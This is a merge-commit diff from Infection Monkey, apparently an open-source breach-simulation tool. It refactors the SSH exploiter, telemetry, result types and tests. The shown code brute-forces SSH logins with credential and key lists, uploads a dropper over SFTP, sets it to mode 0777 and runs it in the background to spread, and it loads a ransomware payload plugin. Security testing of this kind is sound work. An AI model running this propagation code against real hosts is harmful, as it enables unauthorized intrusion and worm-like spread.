Merge pull request #1727 from guardicore/1605-modify-ssh-exploit

Modify SSH exploit
This commit is contained in:
Mike Salvatore 2022-02-23 09:16:11 -05:00 committed by GitHub
commit 7d0e177e7a
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
13 changed files with 144 additions and 84 deletions

View File

@ -1,10 +1,13 @@
import logging
from abc import abstractmethod
from datetime import datetime
from typing import Dict
from common.utils.exceptions import FailedExploitationError
from common.utils.exploit_enum import ExploitType
from infection_monkey.config import WormConfiguration
from infection_monkey.i_puppet import ExploiterResultData
from infection_monkey.telemetry.messengers.i_telemetry_messenger import ITelemetryMessenger
logger = logging.getLogger(__name__)
@ -26,7 +29,7 @@ class HostExploiter:
def _EXPLOITED_SERVICE(self):
pass
def __init__(self, host):
def __init__(self):
self._config = WormConfiguration
self.exploit_info = {
"display_name": self._EXPLOITED_SERVICE,
@ -37,7 +40,10 @@ class HostExploiter:
"executed_cmds": [],
}
self.exploit_attempts = []
self.host = host
self.host = None
self.telemetry_messenger = None
self.options = {}
self.exploit_result = {}
def set_start_time(self):
self.exploit_info["started"] = datetime.now().isoformat()
@ -48,17 +54,6 @@ class HostExploiter:
def is_os_supported(self):
return self.host.os.get("type") in self._TARGET_OS_TYPE
def send_exploit_telemetry(self, name: str, result: bool):
from infection_monkey.telemetry.exploit_telem import ExploitTelem
ExploitTelem( # stale code
name=name,
host=self.host,
result=result,
info=self.exploit_info,
attempts=self.exploit_attempts,
).send()
def report_login_attempt(self, result, user, password="", lm_hash="", ntlm_hash="", ssh_key=""):
self.exploit_attempts.append(
{
@ -71,7 +66,12 @@ class HostExploiter:
}
)
def exploit_host(self):
# TODO: host should be VictimHost, at the moment it can't because of circular dependency
def exploit_host(self, host, telemetry_messenger: ITelemetryMessenger, options: Dict):
self.host = host
self.telemetry_messenger = telemetry_messenger
self.options = options
self.pre_exploit()
result = None
try:
@ -85,6 +85,9 @@ class HostExploiter:
return result
def pre_exploit(self):
self.exploit_result = ExploiterResultData(
os=self.host.os.get("type"), info=self.exploit_info, attempts=self.exploit_attempts
)
self.set_start_time()
def post_exploit(self):

View File

@ -10,10 +10,12 @@ from common.utils.exceptions import FailedExploitationError
from common.utils.exploit_enum import ExploitType
from infection_monkey.exploit.HostExploiter import HostExploiter
from infection_monkey.exploit.tools.helpers import get_monkey_depth, get_target_monkey
from infection_monkey.i_puppet import ExploiterResultData
from infection_monkey.model import MONKEY_ARG
from infection_monkey.network.tools import check_tcp_port, get_interface_to_target
from infection_monkey.telemetry.attack.t1105_telem import T1105Telem
from infection_monkey.telemetry.attack.t1222_telem import T1222Telem
from infection_monkey.utils.brute_force import generate_identity_secret_pairs
from infection_monkey.utils.commands import build_monkey_commandline
logger = logging.getLogger(__name__)
@ -26,8 +28,8 @@ class SSHExploiter(HostExploiter):
EXPLOIT_TYPE = ExploitType.BRUTE_FORCE
_EXPLOITED_SERVICE = "SSH"
def __init__(self, host):
super(SSHExploiter, self).__init__(host)
def __init__(self):
super(SSHExploiter, self).__init__()
self._update_timestamp = 0
def log_transfer(self, transferred, total):
@ -37,7 +39,10 @@ class SSHExploiter(HostExploiter):
self._update_timestamp = time.time()
def exploit_with_ssh_keys(self, port) -> paramiko.SSHClient:
user_ssh_key_pairs = self._config.get_exploit_user_ssh_key_pairs()
user_ssh_key_pairs = generate_identity_secret_pairs(
identities=self.options["credentials"]["exploit_user_list"],
secrets=self.options["credentials"]["exploit_ssh_keys"],
)
for user, ssh_key_pair in user_ssh_key_pairs:
# Creating file-like private key for paramiko
@ -67,7 +72,10 @@ class SSHExploiter(HostExploiter):
raise FailedExploitationError
def exploit_with_login_creds(self, port) -> paramiko.SSHClient:
user_password_pairs = self._config.get_exploit_user_password_pairs()
user_password_pairs = generate_identity_secret_pairs(
identities=self.options["credentials"]["exploit_user_list"],
secrets=self.options["credentials"]["exploit_password_list"],
)
for user, current_password in user_password_pairs:
@ -76,23 +84,16 @@ class SSHExploiter(HostExploiter):
try:
ssh.connect(self.host.ip_addr, username=user, password=current_password, port=port)
logger.debug(
"Successfully logged in %r using SSH. User: %s, pass (SHA-512): %s)",
self.host,
user,
self._config.hash_sensitive_data(current_password),
)
logger.debug("Successfully logged in %r using SSH. User: %s", self.host, user)
self.add_vuln_port(port)
self.report_login_attempt(True, user, current_password)
return ssh
except Exception as exc:
logger.debug(
"Error logging into victim %r with user"
" %s and password (SHA-512) '%s': (%s)",
"Error logging into victim %r with user" " %s: (%s)",
self.host,
user,
self._config.hash_sensitive_data(current_password),
exc,
)
self.report_login_attempt(False, user, current_password)
@ -100,9 +101,9 @@ class SSHExploiter(HostExploiter):
continue
raise FailedExploitationError
def _exploit_host(self):
def _exploit_host(self) -> ExploiterResultData:
port = SSH_PORT
# if ssh banner found on different port, use that port.
for servkey, servdata in list(self.host.services.items()):
if servdata.get("name") == "ssh" and servkey.startswith("tcp-"):
@ -110,17 +111,22 @@ class SSHExploiter(HostExploiter):
is_open, _ = check_tcp_port(self.host.ip_addr, port)
if not is_open:
logger.info("SSH port is closed on %r, skipping", self.host)
return False
self.exploit_result.error_message = f"SSH port is closed on {self.host}, skipping"
logger.info(self.exploit_result.error_message)
return self.exploit_result
try:
ssh = self.exploit_with_ssh_keys(port)
self.exploit_result.exploitation_success = True
except FailedExploitationError:
try:
ssh = self.exploit_with_login_creds(port)
self.exploit_result.exploitation_success = True
except FailedExploitationError:
logger.debug("Exploiter SSHExploiter is giving up...")
return False
self.exploit_result.error_message = "Exploiter SSHExploiter is giving up..."
logger.error(self.exploit_result.error_message)
return self.exploit_result
if not self.host.os.get("type"):
try:
@ -128,12 +134,20 @@ class SSHExploiter(HostExploiter):
uname_os = stdout.read().lower().strip().decode()
if "linux" in uname_os:
self.host.os["type"] = "linux"
self.exploit_result.os = "linux"
else:
logger.info("SSH Skipping unknown os: %s", uname_os)
return False
self.exploit_result.error_message = f"SSH Skipping unknown os: {uname_os}"
if not uname_os:
logger.error(self.exploit_result.error_message)
return self.exploit_result
except Exception as exc:
logger.debug("Error running uname os command on victim %r: (%s)", self.host, exc)
return False
self.exploit_result.error_message = (
f"Error running uname os command on victim {self.host}: ({exc})"
)
logger.error(self.exploit_result.error_message)
return self.exploit_result
if not self.host.os.get("machine"):
try:
@ -142,15 +156,20 @@ class SSHExploiter(HostExploiter):
if "" != uname_machine:
self.host.os["machine"] = uname_machine
except Exception as exc:
logger.debug(
"Error running uname machine command on victim %r: (%s)", self.host, exc
self.exploit_result.error_message = (
f"Error running uname machine command on victim {self.host}: ({exc})"
)
logger.error(self.exploit_result.error_message)
src_path = get_target_monkey(self.host)
if not src_path:
logger.info("Can't find suitable monkey executable for host %r", self.host)
return False
self.exploit_result.error_message = (
f"Can't find suitable monkey executable for host {self.host}"
)
logger.error(self.exploit_result.error_message)
return self.exploit_result
try:
ftp = ssh.open_sftp()
@ -159,45 +178,58 @@ class SSHExploiter(HostExploiter):
with monkeyfs.open(src_path) as file_obj:
ftp.putfo(
file_obj,
self._config.dropper_target_path_linux,
self.options["dropper_target_path_linux"],
file_size=monkeyfs.getsize(src_path),
callback=self.log_transfer,
)
ftp.chmod(self._config.dropper_target_path_linux, 0o777)
ftp.chmod(self.options["dropper_target_path_linux"], 0o777)
status = ScanStatus.USED
T1222Telem(
ScanStatus.USED,
"chmod 0777 %s" % self._config.dropper_target_path_linux,
self.host,
).send()
self.telemetry_messenger.send_telemetry(
T1222Telem(
ScanStatus.USED,
"chmod 0777 %s" % self.options["dropper_target_path_linux"],
self.host,
)
)
ftp.close()
except Exception as exc:
logger.debug("Error uploading file into victim %r: (%s)", self.host, exc)
self.exploit_result.error_message = (
f"Error uploading file into victim {self.host}: ({exc})"
)
logger.error(self.exploit_result.error_message)
status = ScanStatus.SCANNED
T1105Telem(
status, get_interface_to_target(self.host.ip_addr), self.host.ip_addr, src_path
).send()
self.telemetry_messenger.send_telemetry(
T1105Telem(
status, get_interface_to_target(self.host.ip_addr), self.host.ip_addr, src_path
)
)
if status == ScanStatus.SCANNED:
return False
return self.exploit_result
try:
cmdline = "%s %s" % (self._config.dropper_target_path_linux, MONKEY_ARG)
cmdline = "%s %s" % (self.options["dropper_target_path_linux"], MONKEY_ARG)
cmdline += build_monkey_commandline(self.host, get_monkey_depth() - 1)
cmdline += " > /dev/null 2>&1 &"
ssh.exec_command(cmdline)
logger.info(
"Executed monkey '%s' on remote victim %r (cmdline=%r)",
self._config.dropper_target_path_linux,
self.options["dropper_target_path_linux"],
self.host,
cmdline,
)
self.exploit_result.propagation_success = True
ssh.close()
self.add_executed_cmd(cmdline)
return True
return self.exploit_result
except Exception as exc:
logger.debug("Error running monkey on victim %r: (%s)", self.host, exc)
return False
self.exploit_result.error_message = (
f"Error running monkey on victim {self.host}: ({exc})"
)
logger.error(self.exploit_result.error_message)
return self.exploit_result

View File

@ -1,8 +1,9 @@
import abc
import threading
from collections import namedtuple
from dataclasses import dataclass
from enum import Enum
from typing import Dict, List, Sequence
from typing import Dict, Iterable, List, Mapping, Sequence
from . import PluginType
from .credential_collection import Credentials
@ -17,10 +18,16 @@ class UnknownPluginError(Exception):
pass
ExploiterResultData = namedtuple(
"ExploiterResultData",
["exploitation_success", "propagation_success", "os", "info", "attempts", "error_message"],
)
@dataclass
class ExploiterResultData:
exploitation_success: bool = False
propagation_success: bool = False
os: str = ""
info: Mapping = None
attempts: Iterable = None
error_message: str = ""
PingScanData = namedtuple("PingScanData", ["response_received", "os"])
PortScanData = namedtuple("PortScanData", ["port", "status", "banner", "service"])
FingerprintData = namedtuple("FingerprintData", ["os_type", "os_version", "services"])
@ -103,16 +110,19 @@ class IPuppet(metaclass=abc.ABCMeta):
:rtype: FingerprintData
"""
# TODO: host should be VictimHost, at the moment it can't because of circular dependency
@abc.abstractmethod
def exploit_host(
self, name: str, host: str, options: Dict, interrupt: threading.Event
self, name: str, host: object, options: Dict, interrupt: threading.Event
) -> ExploiterResultData:
"""
Runs an exploiter against a remote host
:param str name: The name of the exploiter to run
:param str host: The domain name or IP address of a host
:param object host: The domain name or IP address of a host
:param Dict options: A dictionary containing options that modify the behavior of the
exploiter
:param threading.Event interrupt: A threading.Event object that signals the exploit to stop
executing and clean itself up.
:return: True if exploitation was successful, False otherwise
:rtype: ExploiterResultData
"""

View File

@ -115,7 +115,7 @@ class Exploiter:
credentials = self._get_credentials_for_propagation()
options = {"credentials": credentials, **options}
return self._puppet.exploit_host(exploiter_name, victim_host.ip_addr, options, stop)
return self._puppet.exploit_host(exploiter_name, victim_host, options, stop)
def _get_credentials_for_propagation(self) -> Mapping:
try:

View File

@ -16,6 +16,7 @@ from infection_monkey.credential_collectors import (
MimikatzCredentialCollector,
SSHCredentialCollector,
)
from infection_monkey.exploit.sshexec import SSHExploiter
from infection_monkey.i_puppet import IPuppet, PluginType
from infection_monkey.master import AutomatedMaster
from infection_monkey.master.control_channel import ControlChannel
@ -194,7 +195,7 @@ class InfectionMonkey:
return local_network_interfaces
def _build_puppet(self) -> IPuppet:
puppet = Puppet()
puppet = Puppet(self.telemetry_messenger)
puppet.load_plugin(
"MimikatzCollector",
@ -213,6 +214,8 @@ class InfectionMonkey:
puppet.load_plugin("smb", SMBFingerprinter(), PluginType.FINGERPRINTER)
puppet.load_plugin("ssh", SSHFingerprinter(), PluginType.FINGERPRINTER)
puppet.load_plugin("SSHExploiter", SSHExploiter(), PluginType.EXPLOITER)
puppet.load_plugin("ransomware", RansomwarePayload(), PluginType.PAYLOAD)
return puppet

View File

@ -134,8 +134,9 @@ class MockPuppet(IPuppet):
return empty_fingerprint_data
# TODO: host should be VictimHost, at the moment it can't because of circular dependency
def exploit_host(
self, name: str, host: str, options: Dict, interrupt: threading.Event
self, name: str, host: object, options: Dict, interrupt: threading.Event
) -> ExploiterResultData:
logger.debug(f"exploit_hosts({name}, {host}, {options})")
attempts = [
@ -209,7 +210,7 @@ class MockPuppet(IPuppet):
}
try:
return successful_exploiters[host][name]
return successful_exploiters[host.ip_addr][name]
except KeyError:
return ExploiterResultData(
False, False, os_linux, {}, [], f"{name} failed for host {host}"

View File

@ -14,6 +14,7 @@ from infection_monkey.i_puppet import (
PostBreachData,
)
from ..telemetry.messengers.i_telemetry_messenger import ITelemetryMessenger
from .mock_puppet import MockPuppet
from .plugin_registry import PluginRegistry
@ -21,9 +22,10 @@ logger = logging.getLogger()
class Puppet(IPuppet):
def __init__(self) -> None:
def __init__(self, telemetry_messenger: ITelemetryMessenger) -> None:
self._mock_puppet = MockPuppet()
self._plugin_registry = PluginRegistry()
self._telemetry_messenger = telemetry_messenger
def load_plugin(self, plugin_name: str, plugin: object, plugin_type: PluginType) -> None:
self._plugin_registry.load_plugin(plugin_name, plugin, plugin_type)
@ -56,10 +58,12 @@ class Puppet(IPuppet):
fingerprinter = self._plugin_registry.get_plugin(name, PluginType.FINGERPRINTER)
return fingerprinter.get_host_fingerprint(host, ping_scan_data, port_scan_data, options)
# TODO: host should be VictimHost, at the moment it can't because of circular dependency
def exploit_host(
self, name: str, host: str, options: Dict, interrupt: threading.Event
self, name: str, host: object, options: Dict, interrupt: threading.Event
) -> ExploiterResultData:
return self._mock_puppet.exploit_host(name, host, options, interrupt)
exploiter = self._plugin_registry.get_plugin(name, PluginType.EXPLOITER)
return exploiter.exploit_host(host, self._telemetry_messenger, options)
def run_payload(self, name: str, options: Dict, interrupt: threading.Event):
payload = self._plugin_registry.get_plugin(name, PluginType.PAYLOAD)

View File

@ -3,7 +3,7 @@ from typing import Dict
from common.common_consts.telem_categories import TelemCategoryEnum
from infection_monkey.model.host import VictimHost
from infection_monkey.telemetry.base_telem import BaseTelem
from monkey.infection_monkey.i_puppet.i_puppet import ExploiterResultData
from infection_monkey.i_puppet.i_puppet import ExploiterResultData
class ExploitTelem(BaseTelem):

View File

@ -61,7 +61,7 @@ class T1210(AttackTechnique):
def get_exploited_services():
results = mongo.db.telemetry.aggregate(
[
{"$match": {"telem_category": "exploit", "data.result": True}},
{"$match": {"telem_category": "exploit", "data.exploitation_result": True}},
{
"$group": {
"_id": {"ip_addr": "$data.machine.ip_addr"},

View File

@ -56,7 +56,7 @@ def get_exploits_used_on_node(node: dict) -> List[str]:
[
ExploiterDescriptorEnum.get_by_class_name(exploit["exploiter"]).display_name
for exploit in node["exploits"]
if exploit["result"]
if exploit["exploitation_result"]
]
)
)

View File

@ -24,7 +24,7 @@ def process_exploit_telemetry(telemetry_json):
check_machine_exploited(
current_monkey=Monkey.get_single_monkey_by_guid(telemetry_json["monkey_guid"]),
exploit_successful=telemetry_json["data"]["exploitation_success"],
exploit_successful=telemetry_json["data"]["exploitation_result"],
exploiter=telemetry_json["data"]["exploiter"],
target_ip=telemetry_json["data"]["machine"]["ip_addr"],
timestamp=telemetry_json["timestamp"],

View File

@ -1,12 +1,19 @@
import threading
from unittest.mock import MagicMock
import pytest
from infection_monkey.i_puppet import PluginType
from infection_monkey.puppet.puppet import Puppet
def test_puppet_run_payload_success(monkeypatch):
p = Puppet()
@pytest.fixture
def mock_telemetry_messenger():
return MagicMock()
def test_puppet_run_payload_success(monkeypatch, mock_telemetry_messenger):
p = Puppet(mock_telemetry_messenger)
payload = MagicMock()
payload_name = "PayloadOne"
@ -17,8 +24,8 @@ def test_puppet_run_payload_success(monkeypatch):
payload.run.assert_called_once()
def test_puppet_run_multiple_payloads(monkeypatch):
p = Puppet()
def test_puppet_run_multiple_payloads(monkeypatch, mock_telemetry_messenger):
p = Puppet(mock_telemetry_messenger)
payload_1 = MagicMock()
payload1_name = "PayloadOne"

View File

@ -94,7 +94,7 @@ NODE_DICT = {
"dead": True,
"exploits": [
{
"result": True,
"exploitation_result": True,
"exploiter": "DrupalExploiter",
"info": {
"display_name": "Drupal Server",
@ -109,7 +109,7 @@ NODE_DICT = {
"origin": "MonkeyIsland : 192.168.56.1",
},
{
"result": True,
"exploitation_result": True,
"exploiter": "ElasticGroovyExploiter",
"info": {
"display_name": "Elastic search",
@ -130,8 +130,8 @@ NODE_DICT_DUPLICATE_EXPLOITS = deepcopy(NODE_DICT)
NODE_DICT_DUPLICATE_EXPLOITS["exploits"][1] = NODE_DICT_DUPLICATE_EXPLOITS["exploits"][0]
NODE_DICT_FAILED_EXPLOITS = deepcopy(NODE_DICT)
NODE_DICT_FAILED_EXPLOITS["exploits"][0]["result"] = False
NODE_DICT_FAILED_EXPLOITS["exploits"][1]["result"] = False
NODE_DICT_FAILED_EXPLOITS["exploits"][0]["exploitation_result"] = False
NODE_DICT_FAILED_EXPLOITS["exploits"][1]["exploitation_result"] = False
@pytest.fixture